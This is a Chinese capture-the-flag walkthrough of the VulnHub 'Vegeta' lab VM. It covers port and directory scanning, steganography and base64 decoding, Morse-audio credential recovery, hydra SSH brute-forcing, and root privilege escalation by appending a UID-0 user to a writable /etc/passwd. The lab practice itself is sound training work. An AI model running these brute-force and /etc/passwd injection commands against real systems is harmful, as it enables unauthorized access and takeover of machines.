一、环境准备
环境下载:https://download.vulnhub.com/vegeta/Vegeta.ova
攻击机kali:192.168.152.129
靶机:192.168.152.133
二、打靶目标
获取/root/root.txt
三、工具准备
端口扫描:nmap
目录扫描:御剑珍藏版、dirsearch
网站环境收集:wappalyzer
图片解隐写:steghide
摩斯密码音频解密:Morse Code Audio Decoder | Morse Code World
四、详细步骤
1、信息收集——端口扫描
nmap -sS 192.168.152.133 -p 0-65535 -Pn
2、信息收集——网站环境
中间件是apache 2.4.38
3、信息收集——目录扫描
结果如下,得出结果后便对扫描出来的路径进行探索。
4、查看目录扫描所得路径
第一反应是查看admin和login这两个一看就很牛的界面,结果:
http://192.168.152.133/admin和http://192.168.152.133/login.php空空如也。
http://192.168.152.133/image/,空的。
http://192.168.152.133/robots.txt中存在一个目录,/find_me。
http://192.168.152.133/manual是apache版本指南。
http://192.168.152.133/img下有张图片vegeta.jpg,这种以靶场名命名的方式很明显有问题,猜想是图片隐写。
5、尝试图片解隐写
下载图片到kali上:
curl http://192.168.152.133/img/vegeta.jpg --output vegeta.jpg
使用steghide尝试解隐写,发现需要密码
steghide extract -sf vegeta.jpg
6、find_me目录下发现base64编码
http://192.168.152.133/find_me/find_me.html
用BP解码,发现解码后还是base64编码,再解一次,结果是乱码,不过乱码开端是png,证明这段base64编码的是一张png图片,用bp解码是不行了,因此转换解码的方式。
将第一次解码后得到的base64编码保存到文件中。
echo "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" > base.txt
将base.txt的内容进行base64解码,然后保存到png文件中。
Base64 -d base.txt > base.png
在文件管理器的图形化界面中查看该png文件,发现是一张二维码。
扫描二维码,得到密码:topshellv,试过之后发现该密码并不是图片解隐写的密码。
7、尝试对admin.php和login.php的参数名和参数值进行暴力猜解
失败。
8、更换更大的字典进行目录扫描
这里直接用了seclists里面的大字典,查找的关键词为directory和big。
字典下载:
git clone https://github.com/danielmiessler/SecLists.git #需要挂代理
cp SecLists /usr/share #将下载好的字典移动到/usr/share目录下,kali上的工具一般都在这个目录下
find /usr/share/SecLists -type f -name "*directory*" #查找目录扫描字典
选一个大字典进行爆破。
dirsearch -u http://192.168.152.133 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
扫出一个新的目录/bulma
9、音频解密
在bulma目录下获得一个音频。
听了一下,是摩斯密码音频。
用在线工具解密,工具链接在文章开头,结果是:
U S E R : T R U N K S P A S S W O R D : U S 3 R ( S I N D O L L A R S S Y M B O L )
10、远程登陆ssh
根据上一步得到结果:user:trunks,password:u$3r(这个$符号是由括号里面的提示得到的)
然而因为摩斯密码解出的结果不区分大小写,因此,利用python脚本将用户名和密码所有大小写的可能结果得出,存放在字典里并暴力破解得到正解。
用gpt写的python脚本:
def string_to_list(input_string):
# 初始化结果列表
result = [input_string]
# 遍历字符串
for i in range(len(input_string)):
# 如果是字母,则对大小写进行反转操作
if input_string[i].isalpha():
for j in range(len(result)):
# 将字符串转换为列表以进行元素替换
temp = list(result[j])
temp[i] = temp[i].swapcase()
# 将替换后的字符串存入结果列表
result.append(''.join(temp))
# 返回结果列表
return result
# 读取用户输入的字符串
input_string = input("请输入一个字符串:")
# 调用函数获取所有大小写可能结果
all_results = string_to_list(input_string)
# 输出所有结果
print("输入字符串的所有大小写可能结果:")
for i in all_results:
print(i)
暴力破解得出正确用户名和密码
hydra -L u1.txt -P p1.txt ssh://192.168.152.133 #u1存放用户名,p1存放密码
登陆成功
ssh trunks@192.168.152.133 #密码是:u$3r
11、提升权限
history查看历史命令,发现对在用perl生成加密密码后,直接向/etc/passwd文件写入Tom用户。
查看/etc/passwd文件权限,发现trunks是/etc/passwd文件属主,有写权限。
ls -al /etc/passwd
直接写入一个root权限用户,密码直接用历史命令里面的。
perl -le 'print crypt("Password@973","addedsalt")'
echo 'root1:ad7t5uIalqMws:0:0:root:/root:/bin/bash' >> /etc/passwd
切换到root1,提权成功。
靶场到这里就结束了,图片解隐写和二维码里的密码竟然没用。